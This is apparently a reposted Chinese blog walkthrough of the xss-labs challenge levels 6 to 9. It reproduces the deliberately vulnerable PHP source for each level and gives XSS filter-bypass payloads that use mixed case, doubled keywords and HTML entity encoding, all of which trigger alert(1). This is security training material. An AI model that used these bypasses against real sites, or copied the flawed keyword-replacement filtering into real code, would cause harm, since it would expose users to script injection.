xss-labs(6-10)

转载

mb5fed409d6f1b2 2021-07-28 11:45:00

文章标签 xss ico php 大小写 html 文章分类 代码人生

level-6 大小写混写绕过

替换on

xss-labs(6-10)_大小写

替换script?或者替换<script和</script?

xss-labs(6-10)_php_02

替换href,不替换script

xss-labs(6-10)_html_03

看看源码

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

它只替换了小写的特定单词,其他类型的不会替换,使用大小写混写绕过

大小写混写"><a Href=javascript:alert(1)>xss</a>

xss-labs(6-10)_ico_04

触发弹窗

xss-labs(6-10)_html_05

大小写混写"><Script>alert(1)</script>,触发弹窗

xss-labs(6-10)_大小写_06

大小写混写"oNclick="alert(1)触发弹窗

xss-labs(6-10)_php_07

level-7 双写绕过

'onclick='alert(1)把on给去掉了

xss-labs(6-10)_xss_08

大小写混写,单词全部被转成小写,绕后on变成空

xss-labs(6-10)_html_09

尝试双写on:'oonnclick='alert(1),没有触发弹窗

xss-labs(6-10)_php_10

单引号换成双引号试试"oonnclick="alert(1),成功弹窗,显然value被赋值的字符串没有用html编码转义为实体

xss-labs(6-10)_php_11

看看源码

<?php 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

先将字符串转成小写,然后将单词替换为空,但是它只替换了一次,双写后单词被替换为空就还原成了正常语句

level-8 Unicode编码绕过

"><script>alert(1)</script>,先添加一个试试

xss-labs(6-10)_ico_12

在前端可以看到script被替换了

xss-labs(6-10)_xss_13

构造javaScRipt:alert(1),被转成了小写,然后被替换

xss-labs(6-10)_xss_14

",>,<,on,script均被替换,还有绕过的方法吗?

可以对script进行unicode编码

javascript:alert(1)

xss-labs(6-10)_xss_15

为什么unicode能成功呢?

原来unicode是实体编码,同一个符号，可以用“实体名称”和“实体编号”两种方式引用，“实体名称”的优势在于便于记忆，但不能保证所有的浏览器都能顺利识别它，而“实体编号”则没有这种担忧，但它实在不方便记忆。

xss-labs(6-10)_php_16

所以html既可以识别实体名称,又可以识别实体编号

看看源码

xss-labs(6-10)_html_17

对关键词替换,进行实体编码,用unicode编码可以跳过关键词替换,进而实现弹窗

level-9 unicode编码和使用关键词

用第八关的来试一试

点击连接提示不合法

xss-labs(6-10)_大小写_18

xss-labs(6-10)_php_19

开头加了个http://,链接添加成功,但是无法弹窗了,在value中,它好像把&给过滤了,并且在unicode编码两边加了个"",看来无法绕过了

xss-labs(6-10)_html_20

突破点应该在href上

将script转成unicode编码,然后构造javascript:alert('http://'),成功弹窗

xss-labs(6-10)_ico_21

看看源码

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法？有没有！">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
<center><img src=level9.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>